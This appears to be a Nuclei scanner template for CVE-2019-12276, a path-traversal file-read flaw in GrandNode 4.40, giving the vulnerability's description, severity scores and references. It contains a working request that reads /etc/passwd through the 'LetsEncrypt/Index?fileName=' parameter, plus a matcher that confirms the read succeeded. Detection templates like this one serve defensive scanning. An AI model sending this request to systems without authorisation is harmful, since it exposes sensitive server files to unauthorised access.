id: CVE-2019-12276 info: name: GrandNode 4.40 - Local File Inclusion author: daffainfo severity: high description: | GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the entire system. remediation: | A patch for this issue was made on 2019-05-30 in GrandNode 4.40. reference: - https://security401.com/grandnode-path-traversal/ - https://grandnode.com - https://github.com/grandnode/grandnode - https://nvd.nist.gov/vuln/detail/CVE-2019-12276 - http://packetstormsecurity.com/files/153373/GrandNode-4.40-Path-Traversal-File-Download.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-12276 cwe-id: CWE-22 epss-score: 0.95661 epss-percentile: 0.99411 cpe: cpe:2.3:a:grandnode:grandnode:4.40:*:*:*:*:*:*:* metadata: max-request: 1 vendor: grandnode product: grandnode tags: cve,cve2019,packetstorm,lfi,grandnode http: - method: GET path: - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd" headers: Connection: close matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100d79827ba491b0d96d375a299b5239c4c2e7065dd9a8f41fdb5b3baeb6690865202203e91ce0af756b9de8bdacf00cf9fe65c9eda47bac6ace557a6924309a40b0947:922c64590222798bb761d5b6d8e72950